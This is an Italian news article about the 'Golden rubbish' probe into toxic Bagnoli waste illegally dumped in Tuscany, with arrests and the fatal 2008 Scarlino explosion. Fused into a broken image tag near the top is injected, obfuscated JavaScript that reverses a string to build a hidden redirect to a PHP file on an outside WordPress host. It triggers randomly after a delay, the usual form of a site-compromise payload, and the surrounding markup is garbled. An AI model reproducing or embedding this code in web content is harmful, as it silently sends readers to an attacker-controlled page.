In Toscana i fanghi tossici di Bagnoli. Quindici arresti. Nel 2008 anche un'esplosione mortale

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$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2010/02/Rifiuti-Tossici.jpg”>Rifiuti TossiciI rifiuti speciali e pericolosi prodotti dalla bonifica del sito contaminato di Bagnoli, nel Napoletano, sono stati smaltiti illecitamente in Toscana provocando anche un esplosione, il 26 giugno 2008, in un capannone di Scarlino (Grosseto) con la morte di un lavoratore e il ferimento grave di un altro. E’ quanto emerge da un’operazione, coordinata dalla procura della Repubblica di Grosseto e condotta dal carabinieri del Noe che ha sgominato un’organizzazione costituita in Toscana con diramazioni in Friuli Venezia Giulia, Lombardia, Trentino Alto Adige, Emilia Romagna, Marche, Campania, Lazio, Abruzzo e Sardegna.

Il traffico di rifiuti accertato e’ stato stimato in circa un milione di tonnellate, con un lucro di svariati milioni di euro e un consistente danno all’erario per l’evasione dell’ ecotassa, oltre a gravi danni provocati all’ambiente. Le persone denunciate sono 61. Per 15 sono scattati gli arresti, sei in carcere e nove ai domiciliari. Si tratta di legali rappresentanti, presidenti di Cda, direttori generali, responsabili tecnici, soci, responsabili di laboratorio, chimici e dipendenti delle societa’ coinvolte.

Le accuse, a vario titolo, vanno dall’associazione per delinquere all’omicidio colposo, a lesioni personali colpose, incendio, attivita’ organizzate per il traffico illecito di rifiuti, gestione non autorizzata di rifiuti, falsita’ in registri e notificazioni fino alla falsita’ ideologica commessa dal privato in atto pubblico. Il gip ha emesso anche due misure interdittive dell’esercizio della professione di chimico e dell’esercizio di uffici direttivi delle persone giuridiche e delle imprese e ha disposto il sequestro di locali adibiti a laboratorio di analisi e di alcuni automezzi utilizzati per il traffico illecito.

La struttura organizzativa dell’associazione per delinquere scoperta dai carabinieri era imperniata sul ruolo di una societa’ di intermediazione maremmana, proprietaria anche di un impianto di trattamento, la quale, avvalendosi di produttori, trasportatori, laboratori di analisi, impianti di trattamento, siti di ripristino ambientale e discariche, regolava e gestiva i flussi dei rifiuti; cio’ avveniva attraverso una sistematica falsificazione di certificati di analisi, formulari di identificazione e registri di carico e scarico al fine dell’attribuzione di codici di rifiuto non corretti, cosi’ da poter essere dirottati soprattutto in siti di destinazione finale compiacenti ubicati in Toscana, Trentino Alto Adige ed Emilia Romagna.


Martin Decu, aveva 47 anni, morto per l’esplosione di 100 tonnellate di bombolette spray illegali

Smaltiva illecitamente grossi quantitativi di bombolette spray, contenenti gas propano liquido altamente infiammabile prodotti da una multinazionale operante nel settore dei cosmetici e provenienti da un magazzino lombardo. E’ una delle accuse di cui dovranno rispondere i titolari dell’Agrideco, l’impianto di Scarlino dove il 26 giugno 2008 avvenne un’esplosione che provoco’ la morte di un operaio e il ferimento grave di un altro. E’ quanto emerge dall’operazione, coordinata dalla procura della Repubblica di Grosseto e condotta dal carabinieri del Noe che ha sgominato un’organizzazione costituita in Toscana con diramazioni in mezza Italia. l’operazione e’ stata denominata ‘Golden rubbish’, spazzatura d’oro.

L’Agrideco, era autorizzata per il trattamento di rifiuti non pericolosi ma dall’indagine e’ emerso che la societa’ nel proprio impianto gestiva illecitamente anche rifiuti pericolosi, tra i quali grossi quantitativi di bombolette spray. I rifiuti erano a Scarlino privi di analisi preventiva e senza i codici per rifiuti non pericolosi. L’operaio morto era romeno e aveva tre figli. Si chiamava Martin Decu, aveva 47 anni. L’incidente e’ avvenuto con la triturazione non corretta di circa 100 tonnellate di bombolette che ha provocato la fuoriuscire dei gas contenuti all’interno delle stesse ed ha prodotto una miscela esplosiva che ha causato la forte deflagrazione. I vigili del fuoco, per domare le fiamme e bonificare l’intera area, hanno impiegato quasi una settimana di lavoro.

Dalle stesse indagini e’ emerso anche che l’impianto di Scarlino veniva utilizzato per smaltire illecitamente un altro tipo di rifiuti pericolosi, costituiti principalmente da terre e rocce provenienti dalle bonifiche di distributori di carburante senza che fosse effettuata alcuna operazione di carico e scarico dei rifiuti e di conseguenza senza l’effettuazione di operazioni di trattamento o di inertizzazione.

[Fonte Ansa]

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